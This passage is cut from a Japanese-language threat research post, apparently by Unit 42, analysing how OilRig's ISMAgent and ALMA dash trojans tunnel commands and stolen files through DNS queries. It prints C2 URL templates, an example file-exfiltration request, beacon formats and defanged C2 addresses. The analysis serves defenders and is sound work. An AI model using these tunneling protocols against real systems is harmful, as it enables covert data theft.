ISMAgent\u306fC2\u304b\u3089IPv6\u5185\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u306e\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u308c\u3092\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u6271\u3046\" width=\"977\" height=\"350\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-217.png 977w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-217-300x107.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-217-768x275.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-217-900x322.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-217-370x133.png 370w\" sizes=\"(max-width: 977px) 100vw, 977px\" \/><figcaption id=\"caption-attachment-101473\" class=\"wp-caption-text\">\u56f310 ISMAgent\u306fC2\u304b\u3089IPv6\u5185\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u306e\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u308c\u3092\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u6271\u3046<\/figcaption><\/figure>\n<p>ISMAgent\u306b\u3088\u3063\u3066\u9001\u4fe1\u3055\u308c\u308b\u6b21\u306e\u30d3\u30fc\u30b3\u30f3\u306f\u3001\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u540c\u3058\u30d7\u30ed\u30bb\u30b9\u306b\u5f93\u3044\u307e\u3059\u3002\u3064\u307e\u308a\u3001\"n.n.c\" \u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u306e\u5f8c\u306b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306bbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u3082\u3064\u30c7\u30fc\u30bf\u8ee2\u9001\u8981\u6c42\u304c\u7d9a\u304d\u3001\u6700\u5f8c\u306b\"n.&lt;requests sent&gt;.f\"\u30af\u30a8\u30ea\u304c\u7d9a\u304d\u307e\u3059\u3002\u3053\u3053\u3067\u8ee2\u9001\u3055\u308c\u308b\u30c7\u30fc\u30bf\u306f\u3001\u524d\u306e\u30d3\u30fc\u30b3\u30f3\u3067C2\u306b\u3088\u3063\u3066\u63d0\u4f9b\u3055\u308c\u305fGUID\u3092\u542b\u3093\u3067\u3044\u308b\u70b9\u3001URL\u306b\"action2\"\u3067\u306f\u306a\u304f\"response\"\u3068\u3044\u3046\u5358\u8a9e\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u70b9\u304c\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u306f\u7570\u306a\u308a\u307e\u3059\u3002C2\u306b\u9001\u4fe1\u3055\u308c\u308b\u30c7\u30fc\u30bf\u306f\u6b21\u306e\u3088\u3046\u306a\u69cb\u9020\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u306e\"response\"\u3068\u3044\u3046\u5358\u8a9e\u306f\u3001C2\u306b\u5bfe\u3057\u3001\u524d\u56de\u306eGUID\u9001\u4fe1\u3078\u306e\u5fdc\u7b54\u3067\u3042\u308b\u3053\u3068\u3092\u901a\u77e5\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">http:\/\/&lt;IP of c2 domain&gt;\/response\/&lt;base64 encoded computername\\username&gt;\/&lt;GUID provided by C2 as a unique system identifier&gt;||<\/span><\/p>\n<p>\u56f311\u306f\u3001ISMAgent\u304c\u3053\u306e\u30c7\u30fc\u30bf\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u767a\u884c\u3059\u308bDNS\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\"n.12.f.\"\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u304b\u3089\u3082\u5206\u304b\u308b\u3088\u3046\u306b\u3001ISMAgent\u306fDNS\u30c8\u30f3\u30cd\u30eb\u3092\u4ecb\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u306b\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b12\u56de\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101475\" aria-describedby=\"caption-attachment-101475\" style=\"width: 949px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101475 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-218.png\" alt=\"\u56f311 \u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u30c7\u30fc\u30bf&quot;response&quot; \u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308bISMAgent\" width=\"949\" height=\"364\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-218.png 949w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-218-300x115.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-218-768x295.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-218-900x345.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-218-370x142.png 370w\" sizes=\"(max-width: 949px) 100vw, 949px\" \/><figcaption id=\"caption-attachment-101475\" class=\"wp-caption-text\">\u56f311 \u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067\u30c7\u30fc\u30bf\"response\" \u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3059\u308bISMAgent<\/figcaption><\/figure>\n<p>ISMAgent\u304c\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u30c7\u30fc\u30bf\u3092\u62bd\u51fa\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3059\u305f\u3081\u306b\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u306e\u3082\u306e\u3068\u3057\u3066\u79c1\u305f\u3061\u306f\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u3092\u767a\u884c\u3057\u307e\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">2983b983-0acd-42db-9d86-0b096af5f369#command###C:\\\\Users\\\\Public\\\\file.txt<\/span><\/p>\n<p>C2\u306f\u56f312\u306b\u793a\u3057\u305f5\u3064\u306e\u30af\u30a8\u30ea\u3078\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3068\u3057\u3066\u63d0\u4f9b\u3055\u308c\u308bIPv6\u30a2\u30c9\u30ec\u30b9\u4e2d\u306b\u3053\u306e\u30b3\u30de\u30f3\u30c9\u3092\u542b\u3081\u3066\u767a\u884c\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b3\u30de\u30f3\u30c9\u306fISMAgent\u306b \"C:\\Users\\Public\\file.txt\"\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u3063\u3066\u305d\u306e\u5185\u5bb9\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3057\u307e\u3059\u3002\u3053\u3053\u3067\u601d\u3044\u51fa\u3057\u3066\u3044\u305f\u3060\u304d\u305f\u3044\u306e\u3067\u3059\u304c\u3001\u5148\u306e\u56f311\u3067\u306f\u3001C2\u30b5\u30fc\u30d0\u30fc\u304c\u767a\u884c\u3057\u305f\u521d\u671f\u30b3\u30de\u30f3\u30c9\u306b\u3088\u308a\u3001PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u7d50\u679c\u3001\"Text written to file.txt\"\u306e\u6587\u5b57\u5217\u304c\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_101477\" aria-describedby=\"caption-attachment-101477\" style=\"width: 964px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101477 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-219.png\" alt=\"\u56f312 IPv6\u30a2\u30c9\u30ec\u30b9\u5185\u306eC2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308bISMAgent\" width=\"964\" height=\"191\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-219.png 964w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-219-300x59.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-219-768x152.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-219-900x178.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-219-370x73.png 370w\" sizes=\"(max-width: 964px) 100vw, 964px\" \/><figcaption id=\"caption-attachment-101477\" class=\"wp-caption-text\">\u56f312 IPv6\u30a2\u30c9\u30ec\u30b9\u5185\u306eC2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308bISMAgent<\/figcaption><\/figure>\n<p>ISMAgent\u306f\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308a\u3001\u305d\u306e\u5185\u5bb9\u3092\u524d\u3068\u540c\u3058\u4e00\u9023\u306eDNS\u30af\u30a8\u30ea\u3092\u4ecb\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306f\u3001\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306e\u69cb\u9020\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u4ee5\u524d\u306e\u8ee2\u9001\u30c7\u30fc\u30bf\u3068\u4f3c\u3066\u3044\u307e\u3059\u304c\u7570\u306a\u308b\u90e8\u5206\u304c\u3042\u308a\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001URL\u306b\u6587\u5b57\u5217 \"upload\"\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u70b9\u3068\u3001\u4e8c\u91cd\u30d1\u30a4\u30d7(\"||\")\u6587\u5b57\u306e\u5f8c\u306b\u7d9a\u304f\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u304c\u7570\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">http:\/\/&lt;IP of c2 domain&gt;\/upload\/&lt;base64 encoded computername\\username&gt;\/&lt;GUID provided by C2 as a unique system identifier&gt;||&lt;contents of file uploaded&gt;<\/span><\/p>\n<p>\u56f313\u306fISMAgent\u304c15\u56de\u306eDNS\u30af\u30a8\u30ea\u3092\u4f7f\u3044\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u30c7\u30fc\u30bf\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001C2\u306b\"file.txt\"\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">http:\/\/172.16.107[.]128\/upload\/V0lOLURQUUNPTkJMMU44XFJpY2sgRW5nbGlzaA%3d%3d\/2983b983-0acd-42db-9d86-0b096af5f369||Text written to file.txt\\r\\n<\/span><\/p>\n<figure id=\"attachment_101479\" aria-describedby=\"caption-attachment-101479\" style=\"width: 949px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101479 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-220.png\" alt=\"\u56f313 ISMAgent\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092C2\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u69d8\u5b50\" width=\"949\" height=\"456\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220.png 949w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220-300x144.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220-768x369.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220-380x184.png 380w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220-900x432.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-220-370x178.png 370w\" sizes=\"(max-width: 949px) 100vw, 949px\" \/><figcaption id=\"caption-attachment-101479\" class=\"wp-caption-text\">\u56f313 ISMAgent\u304c\u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092C2\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u69d8\u5b50<\/figcaption><\/figure>\n<h2>ALMA Communicator<\/h2>\n<p>OilRig\u3092\u8ffd\u8de1\u3057\u3066\u3044\u304f\u306a\u304b\u3067\u3001\u3053\u306e\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u304cALMA communicator\u3068\u547c\u3070\u308c\u308b\u30c4\u30fc\u30eb\u306e2\u7a2e\u985e\u306e\u4e9c\u7a2e\u3092\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3057\u3066\u914d\u4fe1\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u30892\u3064\u306e\u4e9c\u7a2e\u306f\u3001C2\u30c1\u30e3\u30cd\u30eb\u3068\u3057\u3066DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3057\u307e\u3059\u304c\u3001\u305d\u308c\u305e\u308c\u306e\u751f\u6210\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u69cb\u9020\u306f\u304b\u306a\u308a\u7570\u306a\u3063\u3066\u3044\u308b\u305f\u3081\u3001\u5225\u3005\u306b\u8aac\u660e\u3059\u308b\u3053\u3068\u306b\u3057\u307e\u3059\u3002<\/p>\n<h2>ALMA dash<\/h2>\n<p>ALMA\u306e\u4e9c\u7a2e\u306e\u3072\u3068\u3064 ALMA dash\u306f\u3001\u79c1\u305f\u3061\u304c\u767a\u898b\u3057\u305f\u6700\u521d\u306eALMA Communicator\u306e\u4e9c\u7a2e\u3067\u3001Unit 42\u30d6\u30ed\u30b0<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan\/\">OilRig Deploys \"ALMA Communicator\" \u2013 DNS Tunneling Trojan (\u82f1\u8a9e)<\/a>\u3068\u3044\u3046\u30bf\u30a4\u30c8\u30eb\u306e\u30d6\u30ed\u30b0\u3067\u3082\u4e2d\u5fc3\u7684\u306b\u53d6\u308a\u4e0a\u3052\u305f\u3082\u306e\u3067\u3059\u3002OilRig\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u4ed6\u306e\u30c4\u30fc\u30eb\u3068\u540c\u69d8\u306b\u3001ALMA\u306f \"Download\"\u3068 \"Upload\"\u3068\u3044\u30462\u3064\u306e\u5225\u3005\u306e\u30d5\u30a9\u30eb\u30c0\u3092\u4f7f\u7528\u3057\u3001\u524d\u8005\u306bC2\u304b\u3089\u53d7\u4fe1\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\u3057\u3001\u5f8c\u8005\u306bC2\u306b\u6f0f\u51fa\u3055\u305b\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\u3057\u307e\u3059\u3002ALMA dash \u3068\u3044\u3046\u30c4\u30fc\u30eb\u306f\u3001\u30ab\u30b9\u30bf\u30e0DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u63d0\u4f9b\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u308c\u3089\u306e\u30d5\u30a1\u30a4\u30eb\u3092\"Download\"\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002ALMA dash\u306f\u3001\"Upload\"\u3068\u3044\u3046\u540d\u524d\u306e2\u3064\u76ee\u306e\u30d5\u30a9\u30eb\u30c0\u306e\u5185\u5bb9\u3092\u5b9a\u671f\u7684\u306b\u30c1\u30a7\u30c3\u30af\u3057\u3001\u3053\u306e\u30d5\u30a9\u30eb\u30c0\u5185\u306e\u5404\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u6f0f\u51fa\u3055\u305b\u308b\u305f\u3081\u306b\u30ab\u30b9\u30bf\u30e0DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>ALMA dash\u306e\u30ab\u30b9\u30bf\u30e0DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u3001DNS A\u30ec\u30b3\u30fc\u30c9\u30af\u30a8\u30ea\u3092\u5229\u7528\u3057\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308bC2\u30c9\u30e1\u30a4\u30f3\u306e\u30ab\u30b9\u30bf\u30e0\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u540d\u3092\u89e3\u6c7a\u3057\u307e\u3059\u3002ALMA dash \u306f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u69cb\u7bc9\u3057\u3001DnsQuery_W\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u3053\u308c\u3089\u306eDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002OilRig\u306f\u3053\u308c\u3089\u306e\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308bAnwer\u30bb\u30af\u30b7\u30e7\u30f3\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002ALMA\u306f\u305d\u308c\u3092 \"Download\"\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3057\u3001CreateProcessA\u95a2\u6570\u3092\u4f7f\u3063\u3066\"cmd \/c &lt;downloaded file&gt;\"\u3068\u3044\u3046\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30b3\u30de\u30f3\u30c9\u306e\u7d50\u679c\u306f\u3001\"Upload\"\u30d5\u30a9\u30eb\u30c0\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3055\u308c\u3001ALMA\u306f\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u6f0f\u51fa\u3055\u305b\u307e\u3059\u3002<\/p>\n<p>ALMA dash \u306f\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u3068Windows\u306e\u30d7\u30ed\u30c0\u30af\u30c8\u30ad\u30fc\u3092\u96c6\u3081\u3001\u305d\u308c\u30892\u3064\u306e\u6587\u5b57\u5217\u306e\u9593\u3092\u30a2\u30f3\u30c0\u30fc\u30b9\u30b3\u30a2(\"_\")\u3067\u3064\u306a\u304e\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u30b7\u30b9\u30c6\u30e0\u3054\u3068\u306b\u4e00\u610f\u306eID\u3092\u751f\u6210\u3057\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001GetUserNameA\u95a2\u6570\u3092\u4ecb\u3057\u3066\u30e6\u30fc\u30b6\u540d\u3092\u53d6\u5f97\u3057\u3001\u30ec\u30b8\u30b9\u30c8\u30ea\u3001\u5177\u4f53\u7684\u306b\u306f\u30ad\u30fc SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId\u3092\u554f\u3044\u5408\u308f\u305b\u308b\u3053\u3068\u306b\u3088\u3063\u3066Windows\u306e\u30d7\u30ed\u30c0\u30af\u30c8ID\u3092\u53ce\u96c6\u3057\u307e\u3059\u3002ALMA\u306f\u3053\u306e\u6587\u5b57\u5217\u306eMD5\u30cf\u30c3\u30b7\u30e5\u3092\u751f\u6210\u3057\u3001\u3053\u306eMD5\u30cf\u30c3\u30b7\u30e5\u306e\u7279\u5b9a\u306e\u30aa\u30d5\u30bb\u30c3\u30c8\u4f4d\u7f6e(\u30aa\u30d5\u30bb\u30c3\u30c8\u4f4d\u7f6e\u306f1\u30015\u30019\u300113\u300117\u300121\u300125\u300129)\u306b\u3042\u308b\u6587\u5b57\u3092\u4f7f\u7528\u3057\u3066\u30018\u6587\u5b57\u306e\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u3001\u305d\u308c\u3092\u30b7\u30b9\u30c6\u30e0\u306e\u4e00\u610f\u306eID\u3068\u3057\u3066\u5229\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>\u4e00\u610f\u306eID\u304c\u4f5c\u6210\u3055\u308c\u308b\u3068\u3001ALMA dash\u306f\u3001DNS\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308bC2\u30c9\u30e1\u30a4\u30f3\u306e\u30ab\u30b9\u30bf\u30e0\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u540d\u3092\u89e3\u6c7a\u3059\u308b\u3053\u3068\u3067C2\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u901a\u4fe1\u3092\u958b\u59cb\u3057\u307e\u3059\u3002ALMA\u306f\u3053\u308c\u3089\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u767a\u884c\u3059\u308b\u3053\u3068\u3067\u3001C2\u306b\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u901a\u77e5\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[random number between 1-9998]ID[unique identifier from MD5 hash of system information][sequence number]-0-2D-2D.[C2 domain]<\/span><\/p>\n<p>\u56f314\u306fALMA dash\u304b\u3089C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u305f\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u306b\u306f\u4e71\u6570\"6813\"\u3001\u4e00\u610f\u306aID\u3067\u3042\u308b\"8faa2150\"\u3001\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306e\"0\"\u3001\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\"-0-2D-2D\"\u3068\u3044\u3046\u6587\u5b57\u5217\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101481\" aria-describedby=\"caption-attachment-101481\" style=\"width: 920px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101481 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-221.png\" alt=\"\u56f314 ALMA Communicator\u306b\u3088\u308bC2\u3078\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\" width=\"920\" height=\"79\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-221.png 920w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-221-300x26.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-221-768x66.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-221-900x77.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-221-370x32.png 370w\" sizes=\"(max-width: 920px) 100vw, 920px\" \/><figcaption id=\"caption-attachment-101481\" class=\"wp-caption-text\">\u56f314 ALMA Communicator\u306b\u3088\u308bC2\u3078\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3<\/figcaption><\/figure>\n<p>C2\u30c9\u30e1\u30a4\u30f3\u306e\u6a29\u5a01DNS\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u306eIPv4\u306b\u30c7\u30fc\u30bf\u3092\u542b\u3081\u3066ALMA dash\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002DNS\u30b5\u30fc\u30d0\u306f\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u3067\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fIPv4\u30a2\u30c9\u30ec\u30b9\"36.37.94[.]33 ($%^!)\"\u3092\u4f7f\u7528\u3057\u3066\u3001\u4eca\u5f8c\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u542b\u307e\u308c\u308b\u3059\u3079\u3066\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3046\u3088\u3046\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3057\u307e\u3059\u3002\u30c7\u30fc\u30bf\u30b9\u30c8\u30ea\u30fc\u30e0\u5168\u4f53\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306b\u3001ALMA dash\u306f\u4e0a\u8a18\u306e\u5f62\u5f0f\u3067\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u540d\u3092\u89e3\u6c7a\u3059\u308b\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u7d9a\u3051\u307e\u3059\u3002\u305f\u3060\u3057\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u907f\u3051\u308b\u305f\u3081\u3001\u30af\u30a8\u30ea\u3054\u3068\u306b\u65b0\u3057\u3044\u4e71\u6570\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002ALMA dash\u306f\u3001\"33.33.94[.]94 